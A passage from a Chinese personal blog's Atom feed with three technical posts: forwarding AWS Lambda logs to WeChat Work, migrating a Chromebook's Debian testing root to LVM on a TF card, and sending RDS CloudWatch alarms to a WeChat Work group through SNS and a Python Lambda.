class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;No valid log events to send.&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> &#123;<span class="string">&#x27;statusCode&#x27;</span>: <span class="number">200</span>, <span class="string">&#x27;body&#x27;</span>: json.dumps(<span class="string">&#x27;Messages sent to WeChat Work&#x27;</span>)&#125;</span><br></pre></td></tr></table></figure><h3 id="建立-Lambda-subscribtion-filter-并指向上一步创建的-Lambda-function"><a href="#建立-Lambda-subscribtion-filter-并指向上一步创建的-Lambda-function" class="headerlink" title="建立 Lambda subscribtion filter 并指向上一步创建的 Lambda function"></a>建立 Lambda subscribtion filter 并指向上一步创建的 Lambda function</h3><p>在 Lambda 的页面里，找到需要监控报警的那个“重要”的后台应用：”B”，点击进入 “B” 的页面，点击 “Configration” 这个 tab，然后在左侧栏里点击 “Monitoring and operations tools”，这时，在中间栏的 “Logging configuration” 部分就能看到 “CloudWatch log group” 了，大概是像这样：“&#x2F;aws&#x2F;lambda&#x2F;B”，同时这也还是一个链接，直接点击就会到 B 在 CloudWatch 里的 Log group 了。</p><p>在这个具体的 Log group 的页面里，点击 “Subscription filters” 这个 tab，点击右侧叫 “Create” 的下拉按钮，在弹出来的菜单里点击 “Create Lambda subscription filter”，然后</p><ul><li>在 “Lambda function” 里选择之前的那个叫 “A” 的 Lambda function</li><li>“Subscription filter pattern” 里填上匹配日志的信息，比如我用的是“%xxxx%”</li><li>“Subscription filter name” 随便写</li></ul><p>然后，点击右下按钮 “Start streaming” 就可以了。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>都很简单是吧，的确很简单。但是没用过 AWS 或对 AWS 不熟悉的人来说，估计是想不到 AWS 还有这些“奇奇怪怪”的功能的。顺便说一个冷知识，在 AWS 的 Serverless Application Repository 这个服务下的 Available applications 里，有个叫 <a href="https://ap-southeast-1.console.aws.amazon.com/lambda/home?region=ap-southeast-1#/create/app?applicationId=arn:aws:serverlessrepo:us-east-1:108326622621:applications/WeChat-Notifier">“WeChat-Notifier” 的应用</a>，直接可以用来做报警！直接支持微信和企业微信。所以呀，其实就报警到（企业）微信这事儿，原本都不用写代码的，直接调用这个就好了！下次有时间再写写关于 “WeChat-Notifier” 的内容。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;项目有一些非常重要的后台应用是跑在 AWS 的 lambda 上的，老板和产品非常关注这些应用的执行情况，一旦出错，都会是很严重的故障。&lt;/p&gt;
&lt;h2 id=&quot;方案变迁&quot;&gt;&lt;a href=&quot;#方案变迁&quot; class=&quot;headerlink&quot; title=&quot;方案变迁&quot;&gt;&lt;/a&gt;方案变迁&lt;/h2&gt;&lt;p&gt;前面做过一些基础设施级别的监控报警，如：&lt;a href=&quot;/2023/09/%E7%9B%91%E6%8E%A7%20AWS%20%E7%9A%84%20RDS%20%E5%B9%B6%E9%80%9A%E8%BF%87%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/index.html&quot;&gt;监控 AWS 的 RDS 并通过企业微信来报警&lt;/a&gt;，那个完全是利用基础设施自动打到 CloudWatch 的基础的 metrics 来做的。&lt;/p&gt;
&lt;p&gt;于是，我这里下意识的就想利用现有的 CloudWatch 里现成的 Metrics 来做这个事情，于是我就弄了三个（种）监控：&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="python" scheme="https://ming.theyan.gs/tags/python/"/>
    
    <category term="企业微信" scheme="https://ming.theyan.gs/tags/%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1/"/>
    
    <category term="lambda" scheme="https://ming.theyan.gs/tags/lambda/"/>
    
    <category term="cloudwatch" scheme="https://ming.theyan.gs/tags/cloudwatch/"/>
    
    <category term="log group" scheme="https://ming.theyan.gs/tags/log-group/"/>
    
    <category term="log stream" scheme="https://ming.theyan.gs/tags/log-stream/"/>
    
    <category term="WeChat-Notifier" scheme="https://ming.theyan.gs/tags/WeChat-Notifier/"/>
    
  </entry>
  
  <entry>
    <title>Chromebook 安装 Debian 12 testing</title>
    <link href="https://ming.theyan.gs/2023/10/Chromebook%20%E5%AE%89%E8%A3%85%20Debian%2012%20testing/index.html"/>
    <id>https://ming.theyan.gs/2023/10/Chromebook%20%E5%AE%89%E8%A3%85%20Debian%2012%20testing/index.html</id>
    <published>2023-10-14T12:33:28.000Z</published>
    <updated>2023-10-27T11:46:53.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="缘起"><a href="#缘起" class="headerlink" title="缘起"></a>缘起</h2><p>本来这台 HP Chromebook 11A G6 EE( 加了一张 128G 的 TF 卡 )，我安装好了 Arch Linux(Xfce)，都弄好了的，但最近在知乎上老被安利说装 Debian 的 testing 版，于是我又开始折腾，把 Debian 13 testing(trixie) 安装到这台 Chromebook 上。</p><p>安装时，使用 lvm 分区不成功，系统报错：</p><blockquote><p>partman-lvm: pvcreate: error while loading shared libraries: libaio.so.1: cannot open shared object file: no such file or directory</p></blockquote><p>现在想想可能还有其他办法，比如想办法把这个需要的包注入进去，但当时选择了先用 ext4 分区安装系统自带的 16G 的卡里，装完以后再想办法转成 lvm 并把 TF 卡的空间加进来。</p><span id="more"></span><h2 id="具体步骤"><a href="#具体步骤" class="headerlink" title="具体步骤"></a>具体步骤</h2><h3 id="ext4-在自带存储上安装"><a href="#ext4-在自带存储上安装" class="headerlink" title="ext4 在自带存储上安装"></a>ext4 在自带存储上安装</h3><p>自带存储的设备号是：&#x2F;dev&#x2F;mmcblk1，容量只有 16G</p><p>这一步基本上没什么问题，我只讲一下最后自带存储的分区：</p><ul><li>分区 1，vfat 格式，挂在 &#x2F;boot&#x2F;efi</li><li>分区 2，ext4 格式，挂在 &#x2F;</li></ul><h3 id="将-迁移到-TF-卡（lvm）"><a href="#将-迁移到-TF-卡（lvm）" class="headerlink" title="将 &#x2F; 迁移到 TF 卡（lvm）"></a>将 &#x2F; 迁移到 TF 卡（lvm）</h3><p>这一步应该是重中之重，难度、复杂度都在这里。</p><h4 id="处理-TF-卡"><a href="#处理-TF-卡" class="headerlink" title="处理 TF 卡"></a>处理 TF 卡</h4><p>TF 卡的设备号是：&#x2F;dev&#x2F;mmcblk0，容量 128G</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">apt-get install lvm</span><br><span class="line"><span class="comment"># 系统原来没装 lvm</span></span><br><span class="line">wipefs -fa /dev/mmcblk0</span><br><span class="line"><span class="comment"># TF 卡上原来有数据，所以需要先 wipefs 干一下</span></span><br><span class="line">pvcreate /dev/mmcblk0</span><br><span class="line"><span class="comment"># 也可以先对设备分区了再创建 pv，但也可以直接在裸设备上做</span></span><br><span class="line">vgcreate vg_root /dev/mmcblk0</span><br><span class="line">lvcreate -L 116G -n lv_root vg_root</span><br><span class="line"><span class="comment"># TF 卡容量是 128G，可用为 116G 多一些，这里 lv 设 116G 大小，</span></span><br><span class="line"><span class="comment"># 其实多大没关系（因为 lv 是随时可以扩的），但只要小于可用的就行</span></span><br><span class="line">mkfs.ext4 /dev/vg_root/lv_root</span><br></pre></td></tr></table></figure><h4 id="迁移数据到-dev-vg-root-lv-root"><a href="#迁移数据到-dev-vg-root-lv-root" class="headerlink" title="迁移数据到 &#x2F;dev&#x2F;vg_root&#x2F;lv_root"></a>迁移数据到 &#x2F;dev&#x2F;vg_root&#x2F;lv_root</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /mnt/new_root</span><br><span class="line"><span class="comment"># 创建挂载点</span></span><br><span class="line">mount /dev/vg_root/lv_root /mnt/new_root</span><br><span class="line"><span class="comment"># 把新的根区挂载上</span></span><br><span class="line">tar -cvpf - --one-file-system --acls --xattrs \</span><br><span class="line">    --selinux / | tar -C /mnt/new_root -xf -</span><br><span class="line"><span class="comment"># 把数据倒到新的根区上</span></span><br><span class="line"><span class="built_in">cp</span> -aux /dev /mnt/new_root</span><br><span class="line"><span class="comment"># 把 /dev 下有更新的内容拷贝过来</span></span><br></pre></td></tr></table></figure><p>接着还要修改新根区下 etc&#x2F;fstab 的内容，将挂载在 &#x2F; 的设备改成 &#x2F;dev&#x2F;vg_root&#x2F;lv_root</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vi /mnt/new_root/etc/fstab</span><br><span class="line"><span class="comment"># 这里之所以用 vi 而不是 vim 那是因为 vim 这个软件还尚未安装</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">mount --<span class="built_in">bind</span> /dev /mnt/new_root/dev</span><br><span class="line"><span class="built_in">chroot</span> /mnt/new_root</span><br><span class="line">mount -t proc /proc /proc</span><br><span class="line">mount -t sysfs /sys /sys</span><br><span class="line">vgscan</span><br><span class="line">vgchange -ay</span><br><span class="line">mkinitramfs -o /boot/initrd-`<span class="built_in">uname</span> -r`.lvm.img `<span class="built_in">uname</span> -r`</span><br><span class="line"><span class="comment"># 上面这一步我感觉应该可以不做，因为上面 `apt-get install lvm`</span></span><br><span class="line"><span class="comment"># 时我貌似有看到重新制作 initrd 的 image 的情况，看吧，</span></span><br><span class="line"><span class="comment"># 这一句的目的是为了给 initrd 的 image 文件添加 lvm 的支持</span></span><br><span class="line"><span class="built_in">exit</span></span><br><span class="line"><span class="comment"># 退出 chroot 状态</span></span><br><span class="line"><span class="built_in">cp</span> /mnt/vg_root/lv_root/boot/initrd-`<span class="built_in">uname</span> -r`.lvm.img /boot</span><br><span class="line"><span class="comment"># 上面这一句我感觉其实也可以不做，因为老 / 区最终是要被干掉的呀</span></span><br></pre></td></tr></table></figure><p>最后的收尾工作：</p><ul><li>修改 &#x2F;mnt&#x2F;new_root&#x2F;boot&#x2F;grub&#x2F;grub.conf 的内容，最好新增一条 menuentry，内容拷贝原有的<ul><li>把显示的名字改了</li><li>把 initrd 的 image 文件改成前面新做成的 initrd 的 image 文件</li><li>如果还有涉及到 root 的 uuid 什么的，也要将原来的设备的 uuid 改成新 root 的设备 &#x2F;dev&#x2F;vg_root&#x2F;lv_root 的 uuid（命令 blkid 里可以看到，注意：有的设备有 UUID 还有 PARTUUID，一般来讲原来用的是哪个替换的时候也要用哪个替换，如果没有对应的，那么就用 UUID 来替换）</li></ul></li><li>修改文件 &#x2F;boot&#x2F;efi&#x2F;EFI&#x2F;debian&#x2F;grub.cfg，同样也是做 uuid 的替换</li></ul><p>最后，重启系统迁移这一步应该就好了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shutdown -r now</span><br></pre></td></tr></table></figure><h3 id="将自带存储加入新-区的-lv"><a href="#将自带存储加入新-区的-lv" class="headerlink" title="将自带存储加入新 &#x2F; 区的 lv"></a>将自带存储加入新 &#x2F; 区的 lv</h3><p>自带的存储的设备是：&#x2F;dev&#x2F;mmcblk1，老根区的设备号是：&#x2F;dev&#x2F;mmcblk1p2</p><p>电脑重新起来后，登录进去</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">wipefa -fa /dev/mmcblk1p2</span><br><span class="line">pvcreate /dev/mmcblk1p2</span><br><span class="line"><span class="comment"># 创建 pv(physical volume)</span></span><br><span class="line">vgextend vg_root /dev/mmcblk1p2</span><br><span class="line"><span class="comment"># 将老根分区所在存储加入到 vg_root 这个 vg（volume group） 里来</span></span><br><span class="line">lvextend -l +100%FREE /dev/vg_root/lv_root</span><br><span class="line"><span class="comment"># 将 lv_root 这个 lv(logical volume) 的大小扩展到所有未用空间</span></span><br><span class="line">resize2fs /dev/vg_root/lv_root</span><br><span class="line"><span class="comment"># 将 lv_root 这个 lv 上的 ext4 文件系统的大小扩展到整个 lv</span></span><br></pre></td></tr></table></figure><p>如此，便完成了。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;缘起&quot;&gt;&lt;a href=&quot;#缘起&quot; class=&quot;headerlink&quot; title=&quot;缘起&quot;&gt;&lt;/a&gt;缘起&lt;/h2&gt;&lt;p&gt;本来这台 HP Chromebook 11A G6 EE( 加了一张 128G 的 TF 卡 )，我安装好了 Arch Linux(Xfce)，都弄好了的，但最近在知乎上老被安利说装 Debian 的 testing 版，于是我又开始折腾，把 Debian 13 testing(trixie) 安装到这台 Chromebook 上。&lt;/p&gt;
&lt;p&gt;安装时，使用 lvm 分区不成功，系统报错：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;partman-lvm: pvcreate: error while loading shared libraries: libaio.so.1: cannot open shared object file: no such file or directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在想想可能还有其他办法，比如想办法把这个需要的包注入进去，但当时选择了先用 ext4 分区安装系统自带的 16G 的卡里，装完以后再想办法转成 lvm 并把 TF 卡的空间加进来。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Debian" scheme="https://ming.theyan.gs/tags/Debian/"/>
    
    <category term="trixie" scheme="https://ming.theyan.gs/tags/trixie/"/>
    
    <category term="Chromebook" scheme="https://ming.theyan.gs/tags/Chromebook/"/>
    
    <category term="testing" scheme="https://ming.theyan.gs/tags/testing/"/>
    
    <category term="lvm" scheme="https://ming.theyan.gs/tags/lvm/"/>
    
  </entry>
  
  <entry>
    <title>监控 AWS 的 RDS 并通过企业微信来报警</title>
    <link href="https://ming.theyan.gs/2023/09/%E7%9B%91%E6%8E%A7%20AWS%20%E7%9A%84%20RDS%20%E5%B9%B6%E9%80%9A%E8%BF%87%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/index.html"/>
    <id>https://ming.theyan.gs/2023/09/%E7%9B%91%E6%8E%A7%20AWS%20%E7%9A%84%20RDS%20%E5%B9%B6%E9%80%9A%E8%BF%87%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%8A%A5%E8%AD%A6/index.html</id>
    <published>2023-09-13T10:27:19.000Z</published>
    <updated>2023-09-19T13:41:25.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>监控在云资源管理中占据了核心地位，它可以帮助我们实时追踪资源状态，从而快速发现并处理潜在的问题。本文将介绍如何利用 AWS CloudWatch 监控云数据库服务RDS，并通过企业微信发送报警通知，以达到高效运维的目的。</p><span id="more"></span><h2 id="解决方案概述"><a href="#解决方案概述" class="headerlink" title="解决方案概述"></a>解决方案概述</h2><p>本文所述的监控方案包含以下几个关键步骤：</p><ul><li>设定 CloudWatch 告警规则，用于监控 RDS 参数并定义报警条件。</li><li>创建一个 SNS(Simple Notification Service)主题来接收 CloudWatch 的报警通知。</li><li>开发一个 Lambda 函数，用于处理 SNS 的报警通知，并将其转发到企业微信。</li><li>设置 SNS 主题触发的 Lambda 函数，以启用自动报警功能。</li></ul><p>这里有个知识点需要了解，否则就会有困惑：RDS 的 event 是怎么到 CloudWatch 里去的呢？是这样的，RDS 基础的 Metrics 是会自动打到 CloudWatch 里去的。所以我们如果只是监控这些基础的 Metrics 的话是不用在 EventBridge 里再建规则把 RDS 的 event 打到 CloudWatch 里了。</p><h2 id="开始之前：在企业微信中创建机器人并获取-Webhook-Token"><a href="#开始之前：在企业微信中创建机器人并获取-Webhook-Token" class="headerlink" title="开始之前：在企业微信中创建机器人并获取 Webhook Token"></a>开始之前：在企业微信中创建机器人并获取 Webhook Token</h2><p>在设置 AWS CloudWatch 监控和报警之前，我们需要先在企业微信中创建一个机器人，并获取它的 Webhook Token，后续步骤中将会用到。以下是创建机器人的操作步骤：</p><ul><li>登录企业微信，并打开目标群聊。</li><li>点击群聊信息页面内的“群机器人”选项，跟随提示操作，点击“添加”按钮。</li><li>弹出页面中选择“新建”。</li><li>在新界面中设定机器人的名称，并可选择一个头像。</li><li>创建机器人后，系统会生成一个 Webhook URL，这个URL中包含了Token。</li><li>复制这个 Webhook URL，注意妥善保存，后续配置中会用到。</li></ul><p>配置完成后，记得将获取到的 Token 添加到 AWS Lambda 的环境变量 WX_TOKEN 中。</p><h2 id="方案具体实施步骤"><a href="#方案具体实施步骤" class="headerlink" title="方案具体实施步骤"></a>方案具体实施步骤</h2><p>在获取了企业微信机器人的 Webhook Token 后，就可以开始设置我们的监控和报警系统了。该系统分为以下几个步骤：</p><h3 id="设立-CloudWatch-报警规则"><a href="#设立-CloudWatch-报警规则" class="headerlink" title="设立 CloudWatch 报警规则"></a>设立 CloudWatch 报警规则</h3><p>首先，我们需要在 CloudWatch 中为 RDS 创建告警规则。具体步骤（以 Metric: CPUUtilization 为例）如下:</p><ul><li>登录 AWS 管理控制台，进入 CloudWatch 服务。</li><li>在左侧菜单中选择 “告警” &gt; “所有告警”，然后点击 “创建告警”。</li><li>选择要监控的 RDS 指标，例如 “CPUUtilization”(CPU 使用率)。</li><li>设置告警阈值和条件，例如当 CPU 使用率超过 80% 时触发告警。</li><li>选择 “通过 SNS 主题发送通知”，然后选择之前创建的 SNS 主题。</li><li>设置告警名称和描述，然后点击 “创建告警”。</li></ul><p>接下来，按照 <a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Best_Practice_Recommended_Alarms_AWS_Services.html#RDS">AWS 官方关于监控的最佳实践</a> 的说法，我们还需要继续监控如下几个 Metrics: <code>DatabaseConnections</code>, <code>EBSByteBalance%</code>, <code>EBSIOBalance%</code>, <code>FreeableMemory</code>, <code>FreeLocalStorage</code>, <code>FreeStorageSpace</code>, <code>MaximumUsedTransactionIDs</code>, <code>ReadLatency</code>, <code>ReplicaLag</code>, <code>WriteLatency</code>, <code>DBLoad</code>, <code>AuroraVolumeBytesLeftTotal</code>, <code>AuroraBinlogReplicaLag</code>, <code>BlockedTransactions</code>, <code>BufferCacheHitRatio</code>, <code>EngineUptime</code>, <code>RollbackSegmentHistoryListLength</code> 和 <code>StorageNetworkThroughput</code>，注意：这些 Metrics 不一定都同时都有的，没有的自然就跳过就好了。</p><h3 id="创建-SNS-topic"><a href="#创建-SNS-topic" class="headerlink" title="创建 SNS topic"></a>创建 SNS topic</h3><p>接下来，我们需要创建一个 SNS 主题，用于接收 CloudWatch 的告警消息。具体步骤如下:</p><ul><li>进入 SNS 服务，点击 “创建主题”。</li><li>输入主题名称和显示名称，然后点击 “创建主题”。</li><li>记下主题的 ARN(Amazon Resource Name)，后面会用到。</li></ul><h3 id="编写-Lambda-function"><a href="#编写-Lambda-function" class="headerlink" title="编写 Lambda function"></a>编写 Lambda function</h3><p>现在，我们来编写一个 Lambda 函数，用于解析 SNS 消息并发送到企业微信。以下是 Python 代码示例:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> http.client <span class="keyword">import</span> HTTPSConnection</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">lambda_handler</span>(<span class="params">event, context</span>):</span><br><span class="line">    qywx_robot_url = <span class="string">&quot;https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=&quot;</span></span><br><span class="line">    token = os.environ[<span class="string">&#x27;WX_TOKEN&#x27;</span>]</span><br><span class="line">    send_url = qywx_robot_url + token</span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    context = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        message = json.loads(event[<span class="string">&#x27;Records&#x27;</span>][<span class="number">0</span>][<span class="string">&#x27;Sns&#x27;</span>][<span class="string">&#x27;Message&#x27;</span>])</span><br><span class="line">        <span class="built_in">print</span>(message)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 提取报警细节</span></span><br><span class="line">        AlarmName = message[<span class="string">&#x27;AlarmName&#x27;</span>]</span><br><span class="line">        AlarmDescription = message[<span class="string">&#x27;AlarmDescription&#x27;</span>]</span><br><span class="line">        AWSAccountId = message[<span class="string">&#x27;AWSAccountId&#x27;</span>]</span><br><span class="line">        NewStateValue = message[<span class="string">&#x27;NewStateValue&#x27;</span>]</span><br><span class="line">        NewStateReason = message[<span class="string">&#x27;NewStateReason&#x27;</span>]</span><br><span class="line">        StateChangeTime = message[<span class="string">&#x27;StateChangeTime&#x27;</span>]</span><br><span class="line">        Region = message[<span class="string">&#x27;Region&#x27;</span>]</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 提取触发报警的指标信息</span></span><br><span class="line">        Trigger = message[<span class="string">&#x27;Trigger&#x27;</span>]</span><br><span class="line">        Namespace = Trigger[<span class="string">&#x27;Namespace&#x27;</span>]</span><br><span class="line">        MetricName = Trigger[<span class="string">&#x27;MetricName&#x27;</span>]</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 构建报警详情</span></span><br><span class="line">        detail = <span class="string">f&quot;Alarm Details:\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Alarm Name: <span class="subst">&#123;AlarmName&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Alarm Description: <span class="subst">&#123;AlarmDescription&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- AWS Account ID: <span class="subst">&#123;AWSAccountId&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Region: <span class="subst">&#123;Region&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Namespace: <span class="subst">&#123;Namespace&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Metric Name: <span class="subst">&#123;MetricName&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- New State: <span class="subst">&#123;NewStateValue&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- State Change Time: <span class="subst">&#123;StateChangeTime&#125;</span>\n&quot;</span> \</span><br><span class="line">                 <span class="string">f&quot;- Reason for State Change: <span class="subst">&#123;NewStateReason&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">        title = <span class="string">&#x27;&lt;font color=\&quot;warning\&quot;&gt;[AWS CloudWatch Alarm]&lt;/font&gt;&#x27;</span></span><br><span class="line"></span><br><span class="line">        content = <span class="string">f&quot;<span class="subst">&#123;title&#125;</span>\n\n<span class="subst">&#123;detail&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&#x27;CloudWatch 事件告警解析异常,请检查 Lambda 代码&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">str</span>(e))</span><br><span class="line">        content = <span class="string">&quot;CloudWatch 事件告警解析异常,请检查 Lambda 代码\n&quot;</span> + <span class="built_in">str</span>(e)</span><br><span class="line"></span><br><span class="line">    msg = &#123;</span><br><span class="line">        <span class="string">&quot;msgtype&quot;</span>: <span class="string">&#x27;markdown&#x27;</span>,</span><br><span class="line">        <span class="string">&quot;markdown&quot;</span>: &#123;<span class="string">&#x27;content&#x27;</span>: content&#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    conn = HTTPSConnection(<span class="string">&quot;qyapi.weixin.qq.com&quot;</span>)</span><br><span class="line">    conn.request(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;/cgi-bin/webhook/send?key=&quot;</span> + token, body=json.dumps(msg), headers=headers)</span><br><span class="line">    response = conn.getresponse()</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;已发送消息到企业微信&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> response.read().decode()</span><br></pre></td></tr></table></figure><h4 id="代码解释"><a href="#代码解释" class="headerlink" title="代码解释"></a>代码解释</h4><p>在代码中，我们首先解析 SNS 消息，提取报警的各种细节，如报警名称、描述、账号 ID、区域、指标名称等。然后构建一个 Markdown 格式的消息内容，并通过企业微信的 Webhook 接口发送出去。</p><p>注意，你需要将代码中的 WX_TOKEN 替换为你自己的企业微信机器人 Token。</p><p>Lambda 函数的核心逻辑就是解析 SNS 消息，提取关键信息，然后构建企业微信消息并发送。通过使用 Markdown 格式，我们可以让消息内容更加美观和易读。</p><p>还有，为什么这里用 http.client 而不是更常用的 requests，那是因为前者是 Python 3.x 自带的模块而后者不是，所以用后者的话还需要单独再安装，这在 lambda 里就不能用直接在 web console 直接写代码这种方便明了的方式了，而是还需要在本地找个环境，把需要的包（requests）安装好，打成包，再上传上去。相对这要麻烦太多了。</p><h3 id="将-SNS-topic-与-Lambda-function-绑定"><a href="#将-SNS-topic-与-Lambda-function-绑定" class="headerlink" title="将 SNS topic 与 Lambda function 绑定"></a>将 SNS topic 与 Lambda function 绑定</h3><p>最后一步，我们需要将 SNS topic 与 Lambda function 关联起来。这样，当 CloudWatch 触发告警时，就会自动通过 SNS 的 topic 内容驱动调用 Lambda fuction，进而发送消息到企业微信。</p><ul><li>进入 Lambda function 的详情页面，点击 “添加触发器”。</li><li>选择 “SNS”，然后选择之前创建的 SNS topic。</li><li>点击 “添加”，完成关联。</li><li>至此，我们就完成了使用 CloudWatch 监控 RDS 并通过企业微信报警的整个方案。当 RDS 出现异常时，你就可以第一时间收到企业微信通知，及时处理问题了。</li></ul><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>通过本文，我们学习了如何使用 AWS CloudWatch 监控 RDS，并通过 SNS、Lambda 和企业微信实现报警功能。这个方案可以帮助我们及时发现和解决 RDS 的各种问题，提高系统的可用性和稳定性。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;引言&quot;&gt;&lt;a href=&quot;#引言&quot; class=&quot;headerlink&quot; title=&quot;引言&quot;&gt;&lt;/a&gt;引言&lt;/h2&gt;&lt;p&gt;监控在云资源管理中占据了核心地位，它可以帮助我们实时追踪资源状态，从而快速发现并处理潜在的问题。本文将介绍如何利用 AWS CloudWatch 监控云数据库服务RDS，并通过企业微信发送报警通知，以达到高效运维的目的。&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="Python" scheme="https://ming.theyan.gs/tags/Python/"/>
    
    <category term="Lambda" scheme="https://ming.theyan.gs/tags/Lambda/"/>
    
    <category term="RDS" scheme="https://ming.theyan.gs/tags/RDS/"/>
    
    <category term="CloudWatch" scheme="https://ming.theyan.gs/tags/CloudWatch/"/>
    
    <category term="SNS" scheme="https://ming.theyan.gs/tags/SNS/"/>
    
    <category term="EventBridge" scheme="https://ming.theyan.gs/tags/EventBridge/"/>
    
    <category term="监控" scheme="https://ming.theyan.gs/tags/%E7%9B%91%E6%8E%A7/"/>
    
    <category term="企业微信" scheme="https://ming.theyan.gs/tags/%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1/"/>
    
  </entry>
  
  <entry>
